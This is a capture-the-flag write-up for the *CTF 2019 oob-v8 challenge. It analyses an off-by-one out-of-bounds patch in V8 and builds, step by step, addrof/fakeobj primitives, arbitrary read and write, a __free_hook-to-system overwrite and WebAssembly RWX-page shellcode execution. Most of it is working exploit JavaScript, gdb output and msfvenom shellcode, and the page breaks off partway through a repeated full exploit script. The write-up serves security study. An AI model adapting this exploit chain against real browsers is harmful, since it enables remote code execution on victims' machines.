*CTF 2019 - oob-v8
This post will cover the chrome exploit challenge oob-v8
from *CTF.
The challenge can be found here.
01 -Analyzing the Patch⌗
if we take a close look at the patch oob.diff
from the *CTF v8-oob challenge we will observe the introduction of the ArrayOob
function. Authors of this challenge didn’t really wanted to make the discovery of the vulnerability a hard task, and there are even comments for the read/write primitives.
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
- Arguments passed will be checked to be greater than 2. If arguments are greater than 2, the function returns an undefined value
- The
JSArray
is casted into aFixedDoubleArray
. - The
length
variable will hold the length of the array. Lets remember that the length of the array should be length-1 since the first element of the array would be a pointer tothis
, and therefore not being part of the Array’s elements. - If the number of arguments is 1, meaning no arguments other than
this
, then the function will return the element at positionelements[length]
. This denotes an OOB read by one index, as the real index of the first element should be 0. - If the number of arguments is 2, meaning one additional argument apart from
this
, the element at indexelements[length]
, will be set to the value ofvalue
. That denotes an OOB write by one index.
02 - Leveraging the OOB vulnerabilities⌗
As we were able to analyze, we essentially have two vulnerabilities. An OOB read and an OOB write.
How can we leverage these vulnerabilities? Thats exactly the question we will be answering in this section.
First of all, we know that the vulnerable code, only affects arrays as is implemented as an array property.
Furthermore, we know that each Array can hold elements of different kind. Depending of their kind, Array elements will be stored in different ways, including them being inlined and out-of-line in the given internal holding object of a JSArray
object.
For example, lets look at a an JSArray
with elements of kind PACKED_ELEMENTS
:
let a = [1.1, 3, "1"]
d8
debug build we can see how these elements are stored:
d8> %DebugPrint(a)
DebugPrint: 0x34e829bd1499: [JSArray]
- map: 0x23fe2f482f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1a89b9ad1111 <JSArray[0]>
- elements: 0x34e829bd1429 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
- length: 3
- properties: 0x39bc44b00c71 <FixedArray[0]> {
#length: 0x335aec1001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34e829bd1429 <FixedArray[3]> {
0: 0x1a89b9ae2761 <HeapNumber 1.1>
1: 3
2: 0x1a89b9ae26c9 <String[#1]: 5>
}
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x34e829bd1499-1 // JSArray
0x34e829bd1498: 0x000023fe2f482f79 0x000039bc44b00c71
// ^---map ^---properties
0x34e829bd14a8: 0x000034e829bd1429 0x0000000300000000
// ^---elements
pwndbg> x/18xg 0x000034e829bd1429-1 // elements pointer
0x34e829bd1428: 0x000039bc44b00851 0x0000000300000000 // FixedArray
// ^--- map ^---- length
0x34e829bd1438: 0x00001a89b9ae2761 0x0000000300000000
// ^--- HeapNumber 1.1 ^---- Smi 3
0x34e829bd1448: 0x00001a89b9ae26c9 0x000039bc44b00851
// ^--- String[#1] ^---- another Map instance
0x34e829bd1458: 0x0000000400000000 0x0000335aec108039 // -+
0x34e829bd1468: 0x000034e829bd13e9 0x0000000000000000 // | other related
0x34e829bd1478: 0xffffffff00000000 0x000039bc44b012c9 // | HeapObjects
0x34e829bd1488: 0x0000000100000000 0x0000040000000000 // -+
0x34e829bd1498: 0x000023fe2f482f79 0x000039bc44b00c71 // JSArray
0x34e829bd14a8: 0x000034e829bd1429 0x0000000300000000
JSArray
’s’ elements. But we will soon realize, this is not the case for Arrays with different elements kinds. Lets look another example of a JSArray
with elements of kind PACKED_DOUBLE_ELEMENTS
:
let b = [1.2, 1.1]
Looking at the d8
debug build in GDB we see the following:
d8> %DebugPrint(b)
DebugPrint: 0x34e829bd1ad1: [JSArray]
- map: 0x23fe2f482ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1a89b9ad1111 <JSArray[0]>
- elements: 0x34e829bd1ab1 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x39bc44b00c71 <FixedArray[0]> {
#length: 0x335aec1001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34e829bd1ab1 <FixedDoubleArray[2]> {
0: 1.2
1: 1.1
}
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x34e829bd1ad1-1 // JSArray
0x34e829bd1ad0: 0x000023fe2f482ed9 0x000039bc44b00c71
// ^---map ^---properties
0x34e829bd1ae0: 0x000034e829bd1ab1 0x0000000200000000
// ^---elements
pwndbg> x/8xg 0x000034e829bd1ab1-1 // elements pointer
0x34e829bd1ab0: 0x000039bc44b014f9 0x0000000200000000 // FixedDoubleArray
// ^--- map ^--- length
0x34e829bd1ac0: 0x3ff3333333333333 0x3ff199999999999a
// ^--- 1.2 ^--- 1.1
0x34e829bd1ad0: 0x000023fe2f482ed9 0x000039bc44b00c71 // JSArray
0x34e829bd1ae0: 0x000034e829bd1ab1 0x0000000200000000
JSArray
of elements of kind PACKED_DOUBLE_ELEMENTS
, these are stored as 64bit doubles, and there is no other consecutive objects after the JSArray elements.
This is relevant since our OOB vulnerabilities only enable us to write/read the next field after the last element of our JSArray
object. Therefore, we can already tell that depending which kind of elements we use, we will be able to read/wrtie a different map instance accordingly.
For the JSArray
a
with elements of kind PACKED_ELEMENTS
, we will be able to read/write the map instance of the FixedArray
object holding the elements of our JSArray
object. We can see this debugging the d8
release instance:
d8> let a = [1.1, 3, "1"]
d8> "0x"+ftoi(a.oob()).toString(16)
"0x3882de940851"
d8> %DebugPrint(a)
0x176d4ccd0d01 <JSArray[3]>
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x176d4ccd0d01-1
0x176d4ccd0d00: 0x0000332786dc2f79 0x00003882de940c71 // JSArray
0x176d4ccd0d10: 0x0000176d4ccd0c61 0x0000000300000000
pwndbg> x/24xg 0x0000176d4ccd0c61-1 // Elements
0x176d4ccd0c60: 0x00003882de940851 0x0000000300000000
0x176d4ccd0c70: 0x0000291e539227d1 0x0000000300000000
0x176d4ccd0c80: 0x00003882de944349 0x00003882de940851
// ^--- return of a.oob()
0x176d4ccd0c90: 0x0000000400000000 0x000009a078f03b29
0x176d4ccd0ca0: 0x0000176d4ccd0c21 0x0000000000000000
0x176d4ccd0cb0: 0xffffffff00000000 0x00003882de9412c9
0x176d4ccd0cc0: 0x0000000100000000 0x0000040000000000
0x176d4ccd0cd0: 0x00003882de941279 0x0000000400000000
0x176d4ccd0ce0: 0x0000000200000000 0x0000291e539173e9
0x176d4ccd0cf0: 0x0000291e53922949 0x00003882de9404d1
0x176d4ccd0d00: 0x0000332786dc2f79 0x00003882de940c71 // JSArray
0x176d4ccd0d10: 0x0000176d4ccd0c61 0x0000000300000000
JSArray
b
with elements of kind PACKED_DOUBLE_ELEMENTS
, we would instead read/write the map instance of our JSArray
object itself, due to the very way these kind of elements are stored. We can observe the following in GDB, again debugging the d8
release build:
d8> let b = [1.2, 1.1]
d8> "0x"+ftoi(b.oob()).toString(16)
"0x332786dc2ed9"
d8> %DebugPrint(b)
0x176d4ccd1401 <JSArray[2]>
[1.2, 1.1]
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x176d4ccd1401-1 // JSArray
0x176d4ccd1400: 0x0000332786dc2ed9 0x00003882de940c71
0x176d4ccd1410: 0x0000176d4ccd13e1 0x0000000200000000
pwndbg> x/8xg 0x0000176d4ccd13e1-1 // Elements
0x176d4ccd13e0: 0x00003882de9414f9 0x0000000200000000
0x176d4ccd13f0: 0x3ff3333333333333 0x3ff199999999999a
0x176d4ccd1400: 0x0000332786dc2ed9 0x00003882de940c71 // JSArray
// ^--- return of b.oob()
0x176d4ccd1410: 0x0000176d4ccd13e1 0x0000000200000000
PACKED_DOUBLE_ELEMENTS
, as we were able to observe, in this case scenario the OOB read/write would enable us to change the map instance of our JSArray
object. In the next section we will cover how we can abuse this for exploitation purposes. However, lets also check what happends on an array of objects:
d8> let obj_tmp = {a: 1}
d8> let obj_arr = [obj_tmp, obj_tmp]
d8> %DebugPrint(obj_arr)
0x176d4ccd4811 <JSArray[2]>
d8> %DebugPrint(obj_tmp)
0x176d4ccd2fc1 <Object map = 0x332786dcab39>
d8> "0x"+ftoi(obj_arr.oob()).toString(16)
"0x332786dc2f79"
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x176d4ccd4811-1
0x176d4ccd4810: 0x0000332786dc2f79 0x00003882de940c71 // JSArray
0x176d4ccd4820: 0x0000176d4ccd47f1 0x0000000200000000
pwndbg> x/8xg 0x0000176d4ccd47f1-1
0x176d4ccd47f0: 0x00003882de940801 0x0000000200000000 // Elements
0x176d4ccd4800: 0x0000176d4ccd2fc1 0x0000176d4ccd2fc1
// ^--- slot: 0 ^--- slot: 1
0x176d4ccd4810: 0x0000332786dc2f79 0x00003882de940c71 // JSArray
// ^--- return of obj_arr.oob()
0x176d4ccd4820: 0x0000176d4ccd47f1 0x0000000200000000
PACKED_DOUBLE_ELEMENTS
JSArray containing doubles, despite the fact that the element kind of a JSArray of objects is of PACKED_ELEMENTS
.
03 - The AddrOf and FakeObj Primitives⌗
We covered that thanks to the OOB read vulnerability, we can leak the map of a JSArray
of objects and a JSArray
of doubles. But lets remember that we also have a OOB write primitive. Could we overwrite the map of one object with another? Lets find out:
d8> arr_float = [1.1, 2.2]
d8> arr_float_map = arr_float.oob()
d8> obj = {}
d8> obj_arr[0] = obj
d8> obj_arr.oob(arr_float_map) // overwritting JSArray of objects'
// map with the map of an JSArray
// of doubles
d8> obj_arr[0] // This should have returned
9.907674278247e-311 // an object but instead
// it returns a float
d8> "0x"+ftoi(obj_arr[0]).toString(16)
"0x123d09290a11"
d8> %DebugPrint(obj)
0x123d09290a11 <Object map = 0xc8433dc0459>
d8>
We can observe that if we overwrite the map of a JSArray of Objects with the map of an JSArray of doubles, the affected JSArray of objects will behave differently when elements are tried to be yield from it, returning the double
interpretation of the object handle rather than the object handle itslef. As we can see in the example above, we were able to leak the addess of obj
using this methodology. This is what’s commonly known as the addrof
primitive, abusing a type-confusion bug to leverage a memory disclousure vulnerbability.
Other common type-confusion primitive, is whats commonly known as fakeobj
. Although is quite similar, it serves for a different purpose. Fakeobj in this example consists of replacing the map instance of an JSArray of doubles to the one of an JSArray of objects. This way, we can force V8 to interpret an object instance in a location where in reality it doesn’t exist. The implications of fabricating an object on an arbitrary memory location entails that one would ultimately be able to read/write that arbitrary location by manipulating the elements of the given object. Lets illustrate this with an example:
d8> flt_arr = [1.1, 1.2]
d8> temp_obj = {}
d8> objt_arr = [temp_obj]
d8> objt_arr_map = objt_arr.oob()
d8> fake_object_template = [1.1, 1.2, 1.3]
d8> %DebugPrint(fake_object_template)
0x2824cc3d2509 <JSArray[4]>
d8> flt_arr[0] = itof(0x2824cc3d2509n)
d8> flt_arr.oob(objt_arr_map) // Overwritting flt_arr map
d8> let fake_obj = flt_arr[0] // this should be a float.
d8> fake_obj // instead is a copy of flt_arr
[1.1, 1.2, 1.3]
d8> %DebugPrint(fake_obj)
0x2824cc3d2509 <JSArray[4]>
[1.1, 1.2, 1.3]
d8> fake_obj[0]
1.1
addrof
and fakeobj
and we will be supplying them to the d8
shell with the following script:
var tmp_obj = {}
var obj_arr = [tmp_obj]
var fl_arr = [1.1, 2.2]
// oob read. leaking the Array of objects map
var obj_map = obj_arr.oob()
// oob read. leaking the Array of doubles map
var fl_map = fl_arr.oob()
function addrof(in_obj) {
// setting the object we want the address of as an element of obj_arr
obj_arr[0] = in_obj;
// oob write. changing the map of obj_arr for the fl_arr map.
obj_arr.oob(fl_map);
// even though we are accesing obj_arr, the returned element will be a float
let addr = obj_arr[0];
// oob write. restoring the map of the object for the original one
obj_arr.oob(obj_map);
// returning the integer representation of the leaked pointer
return ftoi(addr);
}
function fakeobj(addr) {
// storing the float value of an arbitrary address as an element of float_arr
float_arr[0] = itof(addr);
// oob write. replacing the map of the float_arr to that of the obj_arr
floar_arr.oob(obj_map);
// even though we are accessing fl_arr, the returned element will be a tagged pointer.
let fake = float_arr[0]
// oob write. restoring original map of fl_arr
float_arr.oob(float_map);
// returning tagged pointer of arbitrary address
return fake;
}
04 - Introducing an Arbitrary Read Primitive⌗
Since we have the capability of knowing the address of objects, and to create an object in any arbitrary address that we wish thanks to the previous addrof
and fakeobj
primitives accordingly, the realization of an arbitrary read primitive is fearly straight forward:
- The first step is to create a fake FixedDoubleArray object via
fakeobj
. We can do this by creating a “crafted” array, in which its first element is a DoubleArray map. We should create our fake object on top of our crafted arrayelements
object, taking into account that elements in a FixedDoubleArray will be stored-0x20 bytes
from the actual address of the given JSArray object address. - Once we have created our fake object on top of our crafted array’s elements, then we can manipulate the elements of that array, as if they were the actual properties or element pointers of our fake JSArray object.
- We can modify
crafted_arr[2]
as to replace what would be the elements pointer of our fake object. Since we will be dereferencing the value of what would be the first element of our fake object, the dereferenced value will be the contents ofobject's elements pointer + element offset
. It’s important to mention that we have to substract tocrafted_arr[2]
the offset from the initial address of the JSArray object to its first element, in this case0x10
. This is becuase the usual structure of the FixedDoubleArray object holding the elements of a given JSObject, would be the following:- offset 0: FixedDoubleArray map
- offset 8: Number of elements is Smi notation
- offset 16: First element
- offset 24: Second element
- … and so on Therefore, when v8 tries to access the first element of an JSarray object, it will retrieve the elements pointer from the JSArray object, and will add to it the offset of the first element (in this case 0x10).
- As mentioned previously, when we retrieve the contents of
fake[0]
, it will dereference its element pointer, and since the object is of type FixedDoubleArray (as estipulated by its object map atcrafted_arr[0]
) it will return a float representation of the derefenced value.
We can see this ilustrated in the following d8/gdb session:
d8> test_arr = [0x1337]
[4919]
d8> crafted_arr = [fl_arr_map, 1.1, 1.2, 1.3];
[1.82361084311683e-310, 1.1, 1.2, 1.3]
// creating our fake object on top of our crafted array
d8> let _fake = fakeobj(addrof(crafted_arr)-0x20n);
undefined
// overwriting what would be _fake's elements pointer
d8> crafted_arr[2] = itof(addrof(test_arr)+16n-0x10n);
1.34989222600073e-310
d8> elements_ptr = _fake[0]
1.349892225996e-310
d8> "0x"+ftoi(elements_ptr).toString(16);
"0x18d96d6d5e41" // this is test_arr elements pointer
d8> %DebugPrint(test_arr)
0x18d96d6d5e71 <JSArray[1]>
d8> %DebugPrint(crafted_arr)
0x18d9bd6d5e71 <JSArray[4]>
─────────────────────────────────────────────────────────────────────────────
// test_arr
pwndbg> x/4xg 0x18d96d6d5e71-1
0x18d96d6d5e70: 0x00002191d8fc2ed9 0x00003261124c0c71 //JSArray
0x18d96d6d5e80: 0x000018d96d6d5e41 0x0000000400000000
// ^--elements_ptr
// crafted_arr before modification
pwndbg> x/8xg 0x18d9bd6d5e70-0x20 // FixedDoubleArray holding
// JSArray's elements (at JSArray-0x20)
// _fake fakeobj is created here
0x18d9bd6d5e50: 0x00002a91d8fc2ed9 0x3ff199999999999a
// ^--fl_arr_map ^--1.1
0x18d9bd6d5e60: 0x3ff3333333333333 0x3ff4cccccccccccd
// ^--1.2 ^--1.3
0x18d9bd6d5e70: 0x000021b1d8fc2ed9 0x00003461124c0c71 //JSArray
0x18d9bd6d5e80: 0x000018d9bd6d5e41 0x0000000400000000
We can create a JS function for this primitive as follows:
var crafted_arr = [fl_arr_map, 1.2, 1.3, 1.4];
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(crafted_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
crafted_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
05 - Introducing an Arbitrary Write Primitive⌗
One could argue that to achieve an arbitrary write primitive would be as simple as achieving an arbitrary read primitive, however this is not the case unfortunately.
We can use the same concept as to leverage our fakeobj
primitive, but with a twist.
we can write an intial write primitive following the previous implementation of addrof
:
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
d8> test_arr = [1.1]
[1.1]
d8> %DebugPrint(test_arr)
0x3ae05860f8b1 <JSArray[1]>
[1.1]
d8> initial_arb_write(addrof(test_arr), 0x1337);
─────────────────────────────────────────────────────────────────────────────
pwndbg>x/xg 0x3ae05860f8b1-1
0x3ae05860f8b0: 0x0000000000001337
pwndbg> p system
$3 = {int (const char *)} 0x7ffff7c78410 <__libc_system>
pwndbg> p &__free_hook
$5 = (void (**)(void *, const void *)) 0x7ffff7e11b28 <__free_hook>
pwndbg> c
Continuing.
─────────────────────────────────────────────────────────────────────────────
d8> initial_arb_write(0x7ffff7e11b28, 0x7ffff7c78410)
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
ArrayBuffer
and a DataView
object, by overwriting the backing store
pointer of the ArrayBuffer
and using a DataView
instance to write a 64-bit value into the ArrayBuffer backing store
.
Here are the specs of ArrayBuffer and DataView objects. This works as follows:
function arb_write(addr, val) {
// creating an ArrayBuffer holding the value of a 64-bit pointer
let buf = new ArrayBuffer(8);
// creating a dataview for the ArrayBuffer object
let dataview = new DataView(buf);
// retrieving the address of the ArrayBuffer object
let buf_addr = addrof(buf);
// retrieveing the address of the backing_store pointer of the
// ArrayBuffer object located at offset +0x20
let backing_store_addr = buf_addr + 0x20n;
// overwritting the backing_store pointer with the value we desire
// to overwrite
initial_arb_write(backing_store_addr, addr);
// using the dataview to dereference the backing pointer and to
// do the write for us
dataview.setBigUint64(0, BigInt(val), true);
// syntax: setBigUint64(byteOffset, value, littleEndian)
}
pwndbg> p system
$8 = {int (const char *)} 0x7ffff7c78410 <__libc_system>
pwndbg> p &__free_hook
$10 = (void (**)(void *, const void *)) 0x7ffff7e11b28 <__free_hook>
pwndbg> c
Continuing.
─────────────────────────────────────────────────────────────────────────────
d8> arb_write(0x7ffff7e11b28, 0x7ffff7c78410)
undefined
[Attaching after Thread 0x7ffff7c22280 (LWP 65392) vfork to child process 65394]
[New inferior 2 (process 65394)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 65392 after child exec]
[Inferior 1 (process 65392) detached]
process 65394 is executing new program: /usr/bin/dash
06 - Exploitation⌗
Version information:⌗
/v8/out.gn/x64.release$ uname -a
Linux ubuntu 5.8.0-50-generic #56~20.04.1-Ubuntu SMP Mon Apr 12 21:46:35 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/v8/out.gn/x64.release$ ./d8 -v
V8 version 7.5.0 (candidate)
06.01 - Overwritting __free_hook to system⌗
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var fl_arr = [1.1, 1.3, 1.3, 1.4];
var fl_arr_map = fl_arr.oob();
var tmp_obj = {}
var obj_arr = [tmp_obj];
var obj_arr_map = obj_arr.oob();
function addrof(in_obj) {
// setting the object we want the address of as an element of obj_arr
obj_arr[0] = in_obj;
// oob write. changing the map of obj_arr for the fl_arr map.
obj_arr.oob(fl_arr_map);
// even though we are accesing obj_arr, the returned element will be a float
let addr = obj_arr[0];
// oob write. restoring the map of the object for the original one
obj_arr.oob(obj_arr_map);
// returning the integer representation of the leaked pointer
return ftoi(addr);
}
function fakeobj(addr) {
// storing the float value of an arbitrary address as an element of fl_arr
fl_arr[0] = itof(addr);
// oob write. replacing the map of the fl_arr to that of the obj_arr
fl_arr.oob(obj_arr_map);
// even though we are accessing fl_arr, the retur<F3>ned element will be a tagged pointer.
let fake = fl_arr[0];
// oob write. restoring original map of fl_arr
fl_arr.oob(fl_arr_map);
// returning tagged pointer of arbitrary address
return fake;
}
var arb_rw_arr = [fl_arr_map, 1.2, 1.3, 1.4];
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
// creating an ArrayBuffer holding the value of a 64-bit pointer
let buf = new ArrayBuffer(8);
// creating a dataview for the ArrayBuffer object
let dataview = new DataView(buf);
// retrieving the address of the ArrayBuffer object
let buf_addr = addrof(buf);
// retrieveing the address of the backing_store pointer of the
// ArrayBuffer object located at offset +0x20
let backing_store_addr = buf_addr + 0x20n;
// overwritting the backing_store pointer with the value we desire
// to overwrite
initial_arb_write(backing_store_addr, addr);
// using the dataview to dereference the backing pointer and to
// do the write for us
dataview.setBigUint64(0, BigInt(val), true);
// syntax: setBigUint64(byteOffset, value, littleEndian)
}
function exploit() {
var test_arr = [1.2];
var test_arr_map = arb_read(addrof(test_arr));
// found using memory inspection using GDB
var test_arr_map_segment_base = test_arr_map & 0xffffffff0000n;
var heap_pointer = arb_read(test_arr_map_segment_base+16n);
var heap_base = heap_pointer - 0xaef50n;
print("[+] heap base: 0x"+heap_base.toString(16));
var stack_leak = arb_read(heap_base+0x8ff0n);
var data_segment_leak = arb_read(stack_leak);
var code_segment_leak = arb_read(data_segment_leak);
var code_segment_base = code_segment_leak - 0x12120n;
print("[+] code base: 0x"+code_segment_base.toString(16));
var first_got_entry = code_segment_base+0xb2c5e0n;
var libc_leak = arb_read(first_got_entry);
var libc_base = libc_leak-0x4a090n;
print("[+] libc base: 0x"+libc_base.toString(16));
var libc_system = libc_base+0x55410n;
print("[+] libc system: 0x"+libc_system.toString(16));
var libc_free_hook = libc_base+0x1eeb28n;
print("[+] libc __free_hook: 0x"+libc_free_hook.toString(16));
print("[+] Popping calc...");
arb_write(libc_free_hook, libc_system);
console.log("xcalc");
}
exploit();
06.02 - RWX WebAssembly pages⌗
The previous methodology seems to only work from the d8 shell, however when the exploit is attempted from Chronium, it doesnt seem to work. It looks like the way to conduct the various leaks is not appropiate, as its likely that Chromium may have a different memory layout than the standalone d8 shell. However, there is a more reliable way (without sandboxing) of executing arbitrary code in Chromium using WebAssembly
instances, as is possible the RXW
memory gets delegated for these objects. We can see this below:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x69674cbc000 0x69674cc4000 rw-p 8000 0
0xab4bfd00000 0xab4bfd01000 rw-p 1000 0
0xf4aa4195000 0xf4aa4196000 rwxp 1000 0 // <-- RWX page
pwndbg> x/18xg 0x35a4a83e1659-1 // WASM instance
0x35a4a83e1658: 0x00003c19a49c9789 0x00003fd30acc0c71
0x35a4a83e1668: 0x00003fd30acc0c71 0x00007ffdf69f0000
0x35a4a83e1678: 0x0000000000010000 0x000000000000ffff
0x35a4a83e1688: 0x0000555556355838 0x00003fd30acc0c71
0x35a4a83e1698: 0x00005555563e80f0 0x00003fd30acc04d1
0x35a4a83e16a8: 0x0000000000000000 0x0000000000000000
0x35a4a83e16b8: 0x0000000000000000 0x0000000000000000
0x35a4a83e16c8: 0x00005555563e8110 0x00003fd30acc04d1
0x35a4a83e16d8: 0x000055555634bb70 0x00000f4aa4195000 // WASM instance+0x88
We can allocate a WebAssembly instance holding some arbitrary code, copy a shellcode to the WASM instance’s dedicated RWX page, to then execute it. We can do this as follows:
// from https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
we can find what the wasm_code
value should be by using WasmFiddle and finding out the code buffer of a minimal function in C
. This would force v8 to allocate a RWX page
to hold the WASM
instance :
C code
:
int main() {
return 0;
}
WASM code
:
(module
(table 0 anyfunc)
(memory $0 1)
(export "memory" (memory $0))
(export "main" (func $main))
(func $main (; 0 ;) (result i32)
(i32.const 0)
)
)
Code buffer
:
var wasmCode = new Uint8Array(
[
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,
128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,
101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,
132,128,128,128,0,0,65,0,11
]
);
The only thing left to do is to write a function to copy our custom shellcode into this RWX
page . We can do this by using the ArrayBuffer
and DataView
objects technique described earlier as follows:
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// msfvenom -p linux/x64/exec CMD='xcalc' --format dword
var shellcode=[
0x90909090,
0x90909090,
0x782fb848,
0x636c6163,
0x48500000,
0x73752fb8,
0x69622f72,
0x8948506e,
0xc03148e7,
0x89485750,
0xd23148e6,
0x3ac0c748,
0x50000030,
0x4944b848,
0x414c5053,
0x48503d59,
0x3148e289,
0x485250c0,
0xc748e289,
0x00003bc0,
0x050f00
];
As is probably obvious at this point, we need to change the ArrayBuffer
’s backing store
to point to the rwx_page_addr
. The way we can find the location of the ArrayBuffer
backing store is as follows:
+-----------------+ +-----------------+
| ArrayBuffer | +---->| RWX PAGE |
| | | | |
| 0x0: map | | | |
| 0x8: properties| | | |
| 0x10: elements | | | |
| 0x18: byteLength| | | |
| 0x20: backingStore ---+ | |
| 0x24: flags | | |
+-----------------+ +-----------------+
Following is the whole exploit script:
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var fl_arr = [1.1, 1.3, 1.3, 1.4];
var fl_arr_map = fl_arr.oob();
var tmp_obj = {}
var obj_arr = [tmp_obj];
var obj_arr_map = obj_arr.oob();
function addrof(in_obj) {
// setting the object we want the address of as an element of obj_arr
obj_arr[0] = in_obj;
// oob write. changing the map of obj_arr for the fl_arr map.
obj_arr.oob(fl_arr_map);
// even though we are accesing obj_arr, the returned element will be a float
let addr = obj_arr[0];
// oob write. restoring the map of the object for the original one
obj_arr.oob(obj_arr_map);
// returning the integer representation of the leaked pointer
return ftoi(addr);
}
function fakeobj(addr) {
// storing the float value of an arbitrary address as an element of fl_arr
fl_arr[0] = itof(addr);
// oob write. replacing the map of the fl_arr to that of the obj_arr
fl_arr.oob(obj_arr_map);
// even though we are accessing fl_arr, the retur<F3>ned element will be a tagged pointer.
let fake = fl_arr[0];
// oob write. restoring original map of fl_arr
fl_arr.oob(fl_arr_map);
// returning tagged pointer of arbitrary address
return fake;
}
var arb_rw_arr = [fl_arr_map, 1.2, 1.3, 1.4];
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
